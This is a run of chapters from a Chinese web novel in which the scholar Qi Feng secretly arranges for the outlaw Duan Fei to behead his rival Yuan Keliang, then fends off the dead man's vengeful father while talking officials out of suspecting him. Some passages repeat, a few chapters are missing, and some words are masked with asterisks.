“段飞!你杀了我,袁氏不会放过你的!”袁克良仍在挣扎,想用袁氏的名头吓退对方。
段飞却像是没听见,他缓缓举起长刀,刀身映出袁克良那张因恐惧而扭曲的脸。
“不!!”
袁克良的惨叫戛然而止。
段飞手起刀落,干脆利落。
鲜血喷涌而出,溅红了周围的地面,一颗头颅滚落在地,眼睛瞪得大大的,充满了不可置信。
做完这一切,段飞看都没看地上的尸体,转身几个起落,身影便消失在夜色深处,仿佛从未出现过。
周围死一般的寂静,只有风吹过的呜咽声。
过了好一会儿,才有胆大的百姓敢上前查看,看清地上的惨状后,顿时发出阵阵惊呼。
“袁大少……**了!头都被砍下来了!太吓人了!”
“快报官!快报官啊!”
很快,急促的马蹄声由远及近,一队官兵在卢正淳的带领下赶到。<
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br>卢正淳翻身下马,看到地上的尸体和头颅,眉头瞬间紧锁。
“怎么回事?”他沉声问道。
一名胆大的摊贩颤声道:“卢大人,是黑风刀段飞干的!他追杀袁大少到这儿,一刀把脑袋砍了,然后就跑了!”
卢正淳脸色凝重,蹲下身查看尸体,确认是袁克良后,眼中闪过一丝复杂。
他挥了挥手:“把尸体收起来,派人追查段飞的踪迹!另外,去锦绣阁通报一声,就说袁克良**了。”
“是!”官差们轰然应诺,开始清理现场。
卢正淳站在原地,看着地上的血迹,眉头皱得更紧。
段飞明明已经逃脱,为何会突然折返杀了袁克良?这背后,会不会有其他隐情?
……
锦绣阁内,灯火通明。
齐枫正坐在窗边,慢悠悠地品着酒,楚清秋和南宫玥坐在一旁,美人相伴好不快哉。
富贵从外面走进来,朝齐枫点了点头,眼神示意事情已办妥。
齐枫嘴角微微上扬,端起酒杯,朝他举了举,算是回应。
就在这时,小荷从外面跑了进来,脸上带着惊慌:“少爷!不好了!袁克良**了!”
楚清秋和南宫玥对视一眼,都从对方眼中看到了惊讶。
齐枫放下酒杯,故作惊讶道:“哦?怎么回事?”
小荷喘着粗气道:“听说是黑风刀段飞干的!就在南街闹市口,脑袋都被砍下来了!官府已经去了,卢大人还让我来告诉你一声!”
齐枫摇了摇头,故作惋惜道:“袁克良虽说行事不端,但落得这般下场,也太惨了。他平日里得罪的人多,被段飞盯上也不奇怪,只是没想到段飞这么胆大包天,敢折返回府城**。”
楚清秋目光微闪,看了齐枫和富贵一眼,轻声道:“段飞刚逃脱官府追捕,按理说不该冒险回来,这事怕是没那么简单。”
南宫玥也点头:“齐郎,你说会不会是有人故意嫁祸段飞?”
齐枫笑了笑:“谁知道呢。府城最近不太平,咱们还是少掺和这些事为好,喝酒,喝酒。”
第一百六十九章 袁克良,卒
袁克良像拎小鸡似的被拽了回去,重重摔在地上,疼得眼前发黑。
“段飞!我给你钱!多少都给你!”袁克良涕泪横流,早已没了往日的嚣张,“放我一条活路,我马上离开府城,再也不回来!”
段飞没有说话,只是举起长刀,刀身映出袁克良惊恐的脸。
就在刀锋即将落下的瞬间,袁克良猛地抓起地上的断木,狠狠砸向段飞的膝盖。
段飞侧身避开,动作却迟滞了一瞬。
袁克良抓住这机会,连滚带爬地冲出房门,跌跌撞撞地跑向客栈外的街道。
“**了!黑风刀**了!”他一边跑一边嘶吼,声音嘶哑,后背的鲜血顺着衣袍滴落,在青石板路上留下一串触目惊心的血痕。
此时天色已晚,街道上行人稀疏,只有几个打更人和摊贩还在忙碌。
听到呼救声,众人纷纷侧目,当看清追在袁克良身后的段飞时,顿时炸开了锅。
“那不是黑风刀段飞吗?官府不是说他逃了吗?他怎么在追袁大少?袁大少不是被逐出袁氏了吗?”
“快看!袁大少背上全是血!段飞要杀他!”
议论声中,段飞脚步不停,乌黑长刀拖在地上,划出刺耳的声响,吓得路人纷纷躲避。
他像一头追逐猎物的猎豹,眼神死死锁定袁克良,无论对方如何拐弯抹角,都始终保持着几步的距离。
袁克良慌不择路,顺着南街狂奔,后背的伤口越来越痛,体力也渐渐不支。
他回头瞥见段飞紧追不舍,吓得魂飞魄散,只能拼尽全力往前跑,嘴里胡乱喊着:“救命啊!萧大人!赵大人!谁来救救我!”
可这本就偏僻,哪有官员会路过?只有越来越多的百姓围在街边,指指点点,却没人敢上前阻拦。
“袁大少平日里横行霸道,现在被段飞追杀,真是报应!”
“段飞可是朝廷重犯,杀了袁克良,怕是要把官府引来!”
“快躲远点!别被溅一身血!”
袁克良跑过锦绣阁附近的街口,看到熟悉的牌匾时,眼中闪过一丝希冀。
他猛地转向锦绣阁的方向,嘶吼道:“齐枫!你个**子!你派段飞杀我,就不怕遭天谴吗?!”
他本想借此引来锦绣阁的护卫,却没想到这声喊反而激起了段飞的杀意。
段飞脚下加速,瞬间拉近了距离,长刀挥出一道寒光,直劈袁克良的后腿。
“啊!”
袁克良惨叫一声,左腿被刀锋划开一道深可见骨的伤口,再也支撑不住,“扑通”一声摔倒在地,顺着斜坡滚到了南街的闹市口。
这里虽已收摊,却仍有不少夜宵摊贩和食客,见到这血腥的一幕,顿时顿时四散奔逃,尖叫声,桌椅倒地声响成一片。
袁克良趴在地上,左腿的剧痛让他几乎晕厥,后背的伤口与地面摩擦,更是痛得他浑身痉挛。
他抬起头,看着步步逼近的段飞,眼中充满了绝望。
“齐枫……我做鬼也不会放过你!”他用尽最后一丝力气嘶吼,声音嘶哑得如同破锣。
段飞面无表情,一步步走向他,乌黑长刀在月光下泛着冷冽的寒光。
周围的百姓远远围观,没人敢上前,只能看着这生死对峙。
“段飞!你杀了我,袁氏不会放过你的!”袁克良仍在挣扎,想用袁氏的名头吓退对方。
段飞却像是没听见,他缓缓举起长刀,刀身映出袁克良那张因恐惧而扭曲的脸。
“不!!”
袁克良的惨叫戛然而止。
段飞手起刀落,干脆利落。
鲜血喷涌而出,溅红了周围的地面,一颗头颅滚落在地,眼睛瞪得大大的,充满了不可置信。
做完这一切,段飞看都没看地上的尸体,转身几个起落,身影便消失在夜色深处,仿佛从未出现过。
周围死一般的寂静,只有风吹过的呜咽声。
过了好一会儿,才有胆大的百姓敢上前查看,看清地上的惨状后,顿时发出阵阵惊呼。
“袁大少……**了!头都被砍下来了!太吓人了!”
“快报官!快报官啊!”
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卢正淳站在原地,看着地上的血迹,眉头皱得更紧。
段飞明明已经逃脱,为何会突然折返杀了袁克良?这背后,会不会有其他隐情?
……
锦绣阁内,灯火通明。
齐枫正坐在窗边,慢悠悠地品着酒,楚清秋和南宫玥坐在一旁,美人相伴好不快哉。
富贵从外面走进来,朝齐枫点了点头,眼神示意事情已办妥。
齐枫嘴角微微上扬,端起酒杯,朝他举了举,算是回应。
就在这时,小荷从外面跑了进来,脸上带着惊慌:“少爷!不好了!袁克良**了!”
楚清秋和南宫玥对视一眼,都从对方眼中看到了惊讶。
齐枫放下酒杯,故作惊讶道:“哦?怎么回事?”
小荷喘着粗气道:“听说是黑风刀段飞干的!就在南街闹市口,脑袋都被砍下来了!官府已经去了,卢大人还让我来告诉你一声!”
齐枫摇了摇头,故作惋惜道:“袁克良虽说行事不端,但落得这般下场,也太惨了。他平日里得罪的人多,被段飞盯上也不奇怪,只是没想到段飞这么胆大包天,敢折返回府城**。”
楚清秋目光微闪,看了齐枫和富贵一眼,轻声道:“段飞刚逃脱官府追捕,按理说不该冒险回来,这事怕是没那么简单。”
南宫玥也点头:“齐郎,你说会不会是有人故意嫁祸段飞?”
齐枫笑了笑:“谁知道呢。府城最近不太平,咱们还是少掺和这些事为好,喝酒,喝酒。”
第一百七十一章 偿命!
周围的百姓远远围观,听到这话顿时炸开了锅:
“什么?段飞在齐公子手上?”
“难怪段飞会杀袁大少,原来是齐公子指使的!”
“这可不好办了,袁老爷看样子是要拼命啊!”
小荷气得脸通红,忍不住喊道:“你胡说!我家少爷才不会做这种事!段飞是江洋大盗,武功那么高,怎么会听我家少爷的?”
楚清秋也冷声开口:“袁老爷,饭可以乱吃,话不能乱说。没有证据,休要血口喷人!”
南宫玥柔声道:“袁老爷,袁公子的死我们也很惋惜,但你这样不分青红皂白地怪罪齐郎,未免太过武断。”
袁振山却像是没听见她们的话,只是死死盯着齐枫,眼中的杀意几乎要凝成实质:“证据?克良的死就是证据!若不是你步步紧逼,将他逐出家族,他怎会落得这般下场?若不是你构陷袁氏,他怎会成为丧家之犬?齐枫,你敢说这一切与你无关?”
齐枫收起折扇,脸上的笑意淡了几分,目光直视袁振山:“袁老爷,饭可以乱吃,话不能乱说。袁克良被逐出家族,是因为他派**灭口,私藏龙佩,证据确凿,与我何干?”
“至于他与乾朝余孽勾结之事,更是**亲口招供,萧大人与赵,卢二位大人皆在场见证,难道也是我构陷?”
他顿了顿,语气添了几分冷意:“袁克良多行不义,招来了段飞这等仇家,落得如此下场,纯属咎由自取。你若真要怪,就该怪他自己心术不正,树敌太多,而非将怒火发泄到我身上!”
“放屁!”袁振山怒吼一声,阔背大刀猛地劈向身旁的石狮子,“轰”的一声巨响,石狮的头颅竟被生生劈碎,碎石飞溅。
周围的百姓吓得惊呼连连,纷纷后退。
“齐枫,你少在这儿巧言令色!”袁振山指着齐枫,“若不是你设局陷害,克良怎会被逐出家族?若不是你步步紧逼,他怎会连个安身之所都没有?段飞早不出现晚不出现,偏偏在他最落魄的时候杀他,这背后若没有你的指使,我袁振山把这颗脑袋给你!”
齐枫摇了摇头:“袁老爷,你若执意要将账算在我头上,我也无话可说。但我必须提醒你,这里是锦绣阁,不是你袁府的后花园,我是春围榜首,你带着人马持刀围堵,已是形同谋反,真要闹到官府,怕是袁氏百年基业,都要毁于一旦。”
“毁于一旦?”袁振山像是听到了天大的笑话,“我儿都**,我还在乎什么基业?齐枫,今日我就把话撂在这儿,要么你自废双臂,随我去克良坟前磕头谢罪,要么……”
他猛地举起阔背大刀,刀身映出狰狞的面容:“我就拆了你这锦绣阁,让你为我儿陪葬!”
“大伯!不可!”
就在这时,一个焦急的声音从人群后传来,袁浩然拄着拐杖,一瘸一拐地挤了进来。
他脸上还带着伤,看到眼前的阵仗,吓得脸色惨白:“大伯!您快住手!大哥已经**,您不能再冲动了!”
袁振山转头瞪向他,眼中怒火更盛:“滚开!连你也想拦我?若不是你没用,没能看好你大哥,他怎会出事?”
袁浩然被骂得缩了缩脖子,却还是硬着头皮道:“大伯!大哥的死,咱们可以报官,可以找段飞报仇,官府都说了是段飞干的,您这样闹下去,只会让袁氏更被动!”
“被动?”袁振山冷笑,“我儿都死无全尸了,我还在乎什么被动?今天就算拼了我这条老命,也得让齐枫付出代价!”
他不再理会袁浩然,再次举起大刀,朝着齐枫怒吼:“齐枫!受死吧!”
二十余名袁氏子弟见状,纷纷拔刀,气势汹汹地围了上来,眼看就要动手。
富贵猛地向前一步,挡在齐枫身前,拳头捏得咯咯作响,眼中闪过一丝厉色:“谁敢动我家少爷一根手指头,先问问我富贵的拳头答应不答应!”<
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br>锦绣阁的护卫也纷纷上前,与袁氏子弟对峙,双方剑拔**张,空气中弥漫着浓烈的**味,仿佛只要一点火星,就能引爆全场!
周围的百姓吓得大气不敢出,只能眼睁睁看着局势走向失控。
齐枫站在富贵身后,脸色平静,目光却冷冷扫过袁振山,仿佛在看一个跳梁小丑。
袁振山的大刀越举越高,刀风呼啸,带着无尽的恨意,眼看就要劈落!
“住手!”
一声怒喝如同惊雷般炸响,震得所有人都愣在原地。
众人循声望去,只见一队官兵疾驰而来,为首一人身着官服,正是刚刚处理完袁克良命案的卢正淳!
卢正淳带着一队官兵疾驰而至,马蹄扬起的尘土还未落下,他已翻身下马,目光如电扫过对峙的双方,沉声喝道:“袁振山!你这是要干什么?带着人马持械围堵锦绣阁,莫非想造-反不成?”
紧随其后的赵明德也快步上前,看到满地狼藉和双方剑拔**张的架势,眉头紧锁:“袁老爷,深夜聚众**,齐公子虽未授官,但春闱榜首身份特殊,你可知这是什么罪名?”
袁振山握着阔背大刀的手紧了紧,指节泛白,眼中的怒火却因两位官员的到来稍稍收敛。
他深吸一口气,声音依旧嘶哑:“卢大人,赵大人,并非老夫无状,实在是齐枫这小子害**我儿克良!段飞分明是他指使的,还请二位大人为我做主!”
“袁老爷这话可就偏颇了。”齐枫上前一步,对着赵明德和卢正淳拱手道,“二位大人明鉴,晚生不过一介书生,手无缚鸡之力,怎会与段飞这等江洋大盗扯上关系?段飞武功高强,连官府都奈何他不得,又怎会听我一个书生的差遣?”
他顿了顿,目光扫过周围的百姓:“方才袁老爷说段飞在我手上,这更是无稽之谈。锦绣阁上下人等皆可作证,晚生自始至终未曾见过段飞,何来指使一说?”
第一百七十二章 不死不休!
周围的百姓顿时议论起来:
“齐公子说得有理啊,他一个书生,怎么可能使唤得动黑风刀?”
“就是,袁老爷怕是被丧子之痛冲昏了头,胡乱攀咬呢!”
“小声点,别被袁老爷听见,免得祸及自身……”
“怕什么?事实摆在眼前,段飞跟袁大少早有仇怨,杀他也合情合理!”
赵明德捋着胡须,沉声道:“袁老爷,齐公子所言不无道理。段飞此人桀骜不驯,连官府都不放在眼里,怎会屈居人下听一个书生指挥?”
卢正淳也点头附和:“赵大人说得是。前不久齐公子的庆功宴上,段飞就曾闯入知府府邸饮酒,当时袁克良公子对他出言不逊,双方动手,这事不少人都亲眼所见。段飞怀恨在心,趁袁公子落魄之际下手,并非没有可能。”
他看向袁振山,语气加重了几分:“袁老爷,冤有头债有主,段飞才是杀害袁公子的真凶,官府定会全力缉拿,给你一个交代。但你若因此迁怒齐公子,甚至带人围堵锦绣阁,可就真的理亏了。”
袁振山的脸色一阵青一阵白,握着大刀的手微微颤抖。
他何尝不知道这个道理?可丧子之痛像毒蛇般啃噬着他的心,让他只想找个人发泄,而齐枫无疑是最合适的目标!
“就算……就算不是他指使的,”袁振山咬着牙,目光死死盯着齐枫,“我儿也是因他才被逐出家族!若不是他设局陷害,克良怎会落得这般下场?这笔账,难道不该算在他头上?”
“袁老爷此言差矣。”赵明德摇头道,“袁公子被逐出家族,是因为他派**灭口,私藏龙佩,桩桩件件都是铁证,与齐公子无关。若他自身行得正坐得端,又怎会被人抓住把柄?”
卢正淳也沉声道:“律法面前,人人平等。袁公子犯下过错,就该承担后果,怎能将责任推到旁人身上?袁老爷,你是府城的老人了,该明白这个道理。”
他话锋一转,脸色冷了下来:“更何况,袁氏虽为武学世家,也不能仗着人多势众,就代替朝廷执法!齐公子是春闱榜首,受朝廷器重,你带着人马持刀威胁,甚至扬言要拆了锦绣阁,这是把官府放在眼里吗?是把朝廷放在眼里吗?”
这番话如同重锤,狠狠砸在袁振山心上。
他浑身一震,看着卢正淳冰冷的眼神,再看看周围官兵手中的**,终于意识到自己刚才的行为有多冲动。
是啊,他可以找齐枫报仇,可以闹得鸡飞狗跳,但绝不能挑战官府的威严,否则只会给本就摇摇欲坠的袁氏再添一把火。
袁振山深吸一口气,眼中的疯狂渐渐褪去,取而代之的是深深的不甘和怨毒。
他死死盯着齐枫,一字一句道:“齐枫,你给我记着,这笔账,老夫记下了!今日之辱,他日我必百倍奉还!我会让你知道,什么叫求生不得,求死不能!”
齐枫微微一笑,神色平静:“袁老爷有何手段,尽管使出来便是,晚生随时恭候。”
“哼!”袁振山冷哼一声,猛地转身,对着身后的袁氏子弟喝道,“我们走!”
二十余名袁氏子弟狠狠瞪了齐枫一眼,收起长刀,跟着袁振山悻悻离去。
袁浩然看着这一幕,张了张嘴,最终还是没说什么,一瘸一拐地跟了上去。
随着袁家人马离开,锦绣阁外的气氛终于缓和下来。
周围的百姓见没热闹可看,也渐渐散去,只是离开时看齐枫的眼神多了几分敬畏。
能让袁振山吃瘪,这年轻书生的手段,果然不简单!
卢正淳和赵明德对视一眼,都从对方眼中看到了一丝复杂。
他们走上前,看向齐枫。
卢正淳拍了拍齐枫的肩膀,叹道:“齐公子,让你受委屈了。袁振山也是被丧子之痛冲昏了头,你莫要往心里去。”
赵明德也点头道:“是啊,袁氏势大,今日之事能善了已是万幸。只是袁振山那性子,怕是不会就此罢休,你往后行事需多加小心。”
齐枫拱手笑道:“多谢二位大人关心。晚生明白轻重,不会与他一般见
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识。只是袁克良死得蹊跷,还望二位大人能早日抓到段飞,查明真相,也好让逝者安息。”
他顿了顿,语气诚恳:“虽说我与袁克良素有嫌隙,但终究不愿见他落得这般下场。人死为大,总要给他一个公道。”
赵明德闻言,眼中闪过一丝赞许:“齐贤弟能有这份胸襟,实属难得。你放心,官府定会全力追查,绝不姑息凶手。”
赵明德捋着胡须道:“时辰不早了,我们也该回去了。锦绣阁这边……”
“大人放心,”齐枫笑道,“不过是虚惊一场,不碍事的。”
卢正淳与赵明德对视一眼,点了点头,又叮嘱了几句注意安全的话,便带着官兵离开了。
看着他们的背影消失在夜色中,齐枫脸上的笑容淡了几分。
他转身对富贵道:“安排下去,加强戒备,今夜怕是不会太平。”
“是,少爷。”富贵躬身应道,转身去安排护卫。
齐枫又看向楚清秋和南宫玥:“夜深了,你们也回去休息吧。”
南宫玥担忧道:“齐郎,袁振山放了狠话,真的没问题吗?”
楚清秋也点头:“袁氏在府城经营多年,暗线众多,不得不防。”
齐枫笑道:“兵来将挡,水来土掩。他若真敢来,我自有应对之法。你们先回去,我还有些事要处理。”
两人见他胸有成竹,便不再多言,带着小荷回了后院。
齐枫站在门口,望着袁府的方向,眼中闪过一丝冷冽。
回到房间,楚清秋和南宫玥却毫无睡意,小荷更是气鼓鼓地坐在一旁。
“那袁振山也太不讲理了!明明是袁克良自己作死,居然还好意思来怪少爷!”小荷愤愤不平道,“若不是卢大人和赵大人来得及时,指不定要闹出多大的乱子!”
南宫玥轻叹道:“袁氏毕竟是百年世家,袁振山又是出了名的护短,如今袁克良惨死,他心里定然恨极了齐郎。只是没想到他竟会如此冲动,深夜带人围堵锦绣阁,这与自寻死路何异?”
第一百七十三章 修罗手段
楚清秋端起茶杯,轻轻吹了吹浮沫,轻声道:“他不是冲动,是被逼到了绝境。袁克良是袁氏嫡长子,虽不成器,却是袁振山的心头肉。如今嫡子惨死,袁氏又因龙佩之事元气大伤,他若不做点什么,怕是镇不住府城的悠悠众口,更无法向族内交代。”
小荷疑惑道:“那他也不能把账算在少爷头上啊!段飞杀的人,关少爷什么事?”
“在袁振山看来,所有的祸事都是因齐郎而起。”楚清秋淡淡道,“若没有少爷,袁克良不会被逐出家族,若没有少爷,袁氏不会卷入龙佩之争。他把少爷当成了宣泄口,也当成了挽回袁氏颜面的棋子。”
南宫玥皱眉道:“可这么做,只会让袁氏与齐郎的矛盾更深。以齐郎的性子,怕是不会善罢甘休。”
楚清秋放下茶杯,眼中闪过一丝复杂:“少爷的手段,你我都见识过。袁振山想拿他当棋子,恐怕要反过来被他利用。只是……”
她顿了顿,没再说下去,但两人都明白她的意思。
与袁氏彻底撕破脸,对锦绣阁未必是好事。
小荷却没那么多顾虑,挥了挥拳头:“怕他什么?有少爷在,就算袁氏倾巢而出,咱们也不怕!”
三人又聊了几句,渐渐散去休息,只是各自心中都存了几分担忧。
……
齐枫的房间里,灯火通明。
就在这时,房门被轻轻敲响。
“进来。”
楚清秋推门而入,手中端着一碗参汤:“夜凉了,喝点参汤暖暖身子。”
齐枫接过参汤,笑道:“还是你细心。”
楚清秋坐在他对面,看着他喝完参汤,才轻声道:“让段飞去杀袁克良,倒是能把自己摘得干干净净。毕竟谁也想不到,你能指使得了黑风刀这等人物。”
齐枫放下碗,笑道:“段飞本就与袁克良有仇,由他动手,最是顺理成章。官府查来查去,也只会查到段飞头上,绝不会怀疑到我身上。”
他顿了顿,语气添了几分冷意:“袁克良这种人,留着始终是个祸害。放他在外面,指不定会耍什么阴招,倒不如一了百了,永绝后患。”
楚清秋轻叹道:“只是这样一来,你与袁氏便结下了不死不休的仇恨。袁振山绝不会善罢甘休。”
“不是已经结仇了吗?”齐枫挑眉,“从他派人陷害你,派人刺杀我的那一刻起,我与袁氏就再无转圜的余地。”
他看着楚清秋,眼中闪过一丝锐利:“斩草要除根,春风吹又生。袁氏既已视我为眼中钉,我若不先下手为强,难道要等他们缓过劲来,将我挫骨扬灰吗?”
楚清秋沉默片刻,终是深吸一口气,望着齐枫,缓缓道:“少爷当真是有菩萨心肠,也有修罗手段。”
齐枫闻言,轻轻摇了摇头,嘴角勾起一抹复杂的笑意:“菩萨心肠?修罗手段?说到底,不过是被这世道逼出来的罢了。”
他望向窗外沉沉的夜色:“这世上哪有天生的善人,也没有天生的恶人。若能安稳度日,谁愿舞刀弄枪,机关算尽?可这世道就是如此,你不害人,人便害你。我所做的一切,不过是想在这波诡云谲的世间,好好活下去罢了。”
楚清秋静静地听着,眼中闪过一丝动容。
她何尝不明白这个道理?从乾国覆灭的那一刻起,她就知道,仁慈换不来生机,唯有狠厉才能劈开血路。
“萧无痕带着那枚假龙佩回京城了,”楚清秋转移了话题,“短时间内,官府那边应该不会再找咱们的麻烦,总算能喘口气了。”
齐枫笑道:“是啊,少了萧无痕这个捉摸不透的角色,府城的压力确实小了不少。只是……”
他话锋一转:“那枚假龙佩,怕是会让萧无痕在京城吃些苦头。毕竟龙佩事关重大,他拿着仿制品回去复命,免不了要被上面训斥一番。”
“那也是他自找的,”楚清秋淡淡道,“谁让他贪心不足,想借着龙佩的事捞取功劳?若不是他偏袒袁氏,也不会被你牵着鼻子走。”
齐枫端起茶杯,轻轻抿了一口:“官场本就如此
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,人人都想往上爬,可爬得越高,就越容易摔得惨。萧无痕是个聪明人,却也犯了聪明人最容易犯的错,太自负。”
楚清秋看着他,眼中闪过一丝好奇:“那你呢?你就不怕爬得太高,摔下来吗?”
齐枫放下茶杯,目光锐利如鹰:“怕,但我更怕停在原地,任人宰割。与其坐以待毙,不如主动出击,就算摔下来,也要摔得轰轰烈烈。”
楚清秋沉默片刻,轻声道:“你总是这样,让人看不透。”
齐枫笑了笑:“看得透又如何?看不透又如何?重要的是,我知道自己要走什么样的路。”
两人又聊了几句,楚清秋便起身告辞。
齐枫坐在书桌前,看着窗外的月光,陷入了沉思。
……
袁府,客厅。
烛火摇曳,映着袁振山阴沉如水的脸。
他坐在太师椅上,双手紧握,指节泛白,周身散发着骇人的寒气,让站在一旁的管家大气不敢出。
“老爷,您消消气,”管家小心翼翼地劝道,“少爷的仇,咱们肯定要报,但这事急不得。齐枫是春闱榜首,受朝廷器重,相当于半个朝廷的脸面。咱们若是没有合适的理由动他,那就是与朝廷作对,得不偿失啊。”
袁振山猛地抬起头,眼中布满血丝,声音嘶哑:“我怎会不知这个道理?可克良是我的儿子!他死得那么惨,头都被人砍了下来,我若是不为他报仇,还有何面目活在这世上?还有何面目面对袁氏的列祖列宗?”
他一拳砸在桌上,茶杯应声落地,摔得粉碎:“齐枫!段飞!我就是拼了这条老命,也要让你们血债血偿!我要让齐枫被凌迟处死,让他尝尝我儿所受的痛苦!”
管家吓得缩了缩脖子,颤声道:“老爷息怒,段飞那厮确实胆大包天,竟敢在府城闹市口行凶,杀了大少爷。只是……”
他顿了顿,疑惑道:“就算大少爷之前与段飞有过冲突,段飞也不至于非要置大少爷于死地吧?这其中,会不会有什么蹊跷?”
第一百七十五章 袁惊尘
齐枫挑眉,故作惊讶:“哦?袁老爷家大业大,有个三妻四妾,多几个儿子也正常吧?别说十个八个,便是再多几个,也不足为奇。”
周子陵却摇了摇头,凑近了些,声音压得更低:“这你就有所不知了。袁振山确实有个小儿子,名叫袁惊尘,比袁克良还小两岁。这小子打小就透着邪乎!”
他顿了顿,像是在回忆什么:“据说他三岁就能举鼎,五岁便将袁氏祖传的刀法练得有模有样,八岁那年,更是在府城武师大会上,连败七位成名已久的武师,惊得在场所有人都说他是百年难遇的武学奇才。”
徐远也凑了过来,补充道:“何止是奇才?那小子性子还烈得很,十岁那年,就因为府城另一个世家的公子骂了他一句,直接提着刀把人家府邸的大门给劈了,还打断了那公子的双腿。要不是袁振山花了大价钱压下去,怕是早就闹到官府那里了。”
陈玉堂接口道:“后来袁振山大概是觉得这儿子太过暴戾,留在府城迟早惹出大祸,就把他送到了断魂谷历练。那地方你们也知道,常年被毒雾笼罩,里面不仅有**的妖兽,还有不少朝廷通缉的重犯,进去的人十有**都出不来。袁惊尘在里面待了整整三年,府城几乎没人再提起他,我还以为他早就死在里面了。”
周子陵看向齐枫,眼神凝重:“但现在袁克良**,袁氏年轻一辈里再无可用之人,我估摸着,袁振山很可能会把袁惊尘从断魂谷叫回来。这小子要是回来,第一个要找的,怕是就是齐兄你。”
齐枫闻言,脸上依旧挂着淡淡的笑意,手指轻轻敲击着桌面:“多谢周兄提醒,不过依我看,再厉害的角色,也得讲个道理。这府城毕竟有王法在,他总不能光天化日之下胡乱**吧?”
徐远点头道:“齐兄说得是。袁惊尘就算再厉害,也得掂量掂量。如今齐兄是春闱榜首,受朝廷器重,他若敢动你,便是与朝廷作对,袁氏还没这么大的胆子。”
陈玉堂也道:“再者说,还有我们三家在。真要是袁惊尘敢在府城横行霸道,我们绝不能坐视不理。四大家族虽有竞争,但也不能眼睁睁看着外人欺负到头上。”
周子陵见齐枫神色坦然,也放下心来,端起酒杯笑道:“也是我多虑了。来,喝酒喝酒!不说这些烦心事了!”
齐枫笑着举杯,与三人碰在一起。
断魂谷出来的狠角色?听起来倒是比袁克良棘手多了。
徐远喝得兴起,开始讲起府城最近的趣闻,陈玉堂和周子陵时不时插言,包厢里的气氛渐渐轻松起来。
齐枫偶尔附和两句,心思却已经飘到了袁惊尘身上。
能在断魂谷活过三年的人,绝非易与之辈,看来往后的日子,又不得安宁了!
就在这时,包厢的门“砰”一声被推开,一道娇俏的身影叉着腰站在门口,气鼓鼓地瞪着里面的四人,正是赵明兰。
“好啊!你们几个在这里喝酒,居然不叫我!”
赵明兰一脚踏进包厢,视线扫过满桌酒菜,几步就冲到齐枫身边,毫不客气地拉开椅子坐下,顺手拿起桌上的酒壶给自己倒了一杯,仰头饮尽,抹了把嘴。
“可算让我逮着你们了!这两天我娘非说要教我女红,把我关在家里绣那劳什子鸳鸯,害得我连出门的功夫都没有,不然早就来找齐兄了!”
她放下酒杯,看向齐枫,眼中带着几分促狭:“听说袁克良那厮**?”
齐枫点头,没接话。徐远在一旁笑道:“赵姑娘消息倒是灵通,这事刚传开没多久呢。”
“府城就这么大,**个‘大人物’,哪有不传得沸沸扬扬的道理?”赵明兰撇撇嘴,语气里满是不屑,“依我看,他死得好!平日里仗着袁氏的势,做了多少伤天害理的事?光是强抢民女、欺压商户的账,就够他死个十回八回了。”
周子陵连忙朝她摆手,压低声音道
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:“赵姑娘小声点,现在袁府正办白事呢,到处都是袁氏的人,这话要是传到袁振山耳朵里,怕是要惹麻烦。”
“怕什么?”赵明兰梗着脖子,声音反倒拔高了几分,“他儿子自己作恶多端,难道还不许别人说句公道话?段飞杀了他,那是替天行道!我倒觉得段飞是条汉子,至少敢作敢当,比某些只会躲在家族庇护下作威作福的人强多了。”
她顿了顿,又道:“再说了,段飞之前在府城被通缉,不就是因为替那些被欺负的百姓出头吗?依我看,他做的半点没错!”
陈玉堂叹了口气:“赵姑娘心直口快是好事,可如今袁振山正憋着一股火,咱们还是别往枪口上撞。齐兄马上要赴京赶考,犯不着在这时候节外生枝。”
提到赶考,赵明兰的注意力果然被转移了,她看向齐枫,眼神变得郑重起来:“齐兄,接下来的考试可得加把劲!你定能拔得头筹,拿下状元!”
她越说越兴奋,仿佛已经看到齐枫高中的场景:“等你成了状元,在朝廷里当了大官,到时候别说一个袁氏,就算是萧无痕,见了你也得客客气气的!谁还敢动你一根手指头?”
周子陵跟着附和:“赵姑娘说得没错!齐兄的文采,府城无人能及,殿试夺魁只是迟早的事。到时候齐兄飞黄腾达了,可别忘了咱们这些老朋友。”
徐远也道:“是啊,齐兄,咱们现在可是一条船上的人。锦绣阁的生意,我们三家都有份,你的事就是我们的事。往后不管是袁氏作祟,还是其他麻烦,你尽管开口,我们绝无二话。”
陈玉堂点头道:“正是这个道理。咱们四家联手,别说一个袁振山,就算是整个府城,也得看咱们几分面子。”
齐枫看着三人真诚的眼神,心中微动,举起酒杯笑道:“多谢三位仁兄和赵姑娘的信任。齐某记下了,若真有那么一天,定不会忘了诸位的恩情。来,我敬大家一杯!”
第一百七十六章 有事相求
几人纷纷举杯,酒液碰撞发出清脆的声响,包厢里的气氛越发热络起来。
就在这时,包厢门被轻轻敲响,南宫玥抱着琵琶走了进来,对着众人盈盈一拜:“听闻诸位在此小聚,我弹几曲助助兴吧。”
周子陵眼睛一亮,笑道:“南宫姑娘来得正好!”
南宫玥在一旁坐下,将琵琶置于膝上,指尖轻挑,一串清越的音符便流淌而出,如高山流水,涤荡人心。
众人顿时安静下来,凝神倾听。
一曲终了,周子陵抚掌赞叹:“好!南宫姑娘的琴艺,当真是炉火纯青!只是不知为何,总觉得这琴声里少了几分灵气,莫非是缺了什么?”
徐远促狭地看了齐枫一眼,笑道:“依我看,是缺了齐兄在一旁合奏吧?”
陈玉堂也跟着起哄:“没错没错!看来南宫姑娘的琴音,是专为齐兄而奏啊!”
南宫玥脸颊微红,嗔怪地看了三人一眼,却没反驳。
赵明兰见状,心里顿时有些不是滋味,伸手挽住齐枫的胳膊,气鼓鼓地瞪着三人:“你们别胡说!她的琴艺本来就好,跟齐兄有什么关系?我看是你们自己没听出其中的妙处!”
她说着,还故意往齐枫身边蹭了蹭,像是在宣示**。
齐枫被她闹得有些无奈,轻咳一声道:“好了,别拿南宫姑娘开玩笑了。来,喝酒。”
众人见他解围,也不再打趣,转而聊起了京城里的趣闻。
赵明兰缠着齐枫问东问西,一会儿打听京城的繁华,一会儿又问殿试的流程,叽叽喳喳的,倒也热闹。
南宫玥安静地坐在一旁,偶尔为众人添酒,目光落在齐枫身上时,带着几分温柔。
就在气氛正好时,包厢门再次被推开,柳若雪走了进来。
她穿着一身素色衣裙,神色平静,目光在包厢里扫了一圈,最后落在齐枫身上。
“齐公子。”柳若雪对着齐枫微微颔首。
“柳姑娘。”齐枫起身回应。
周子陵几人见状,都停下了说笑,好奇地看着柳若雪。
赵明兰更是警惕地眯起眼睛,心想这又是来找齐兄的?
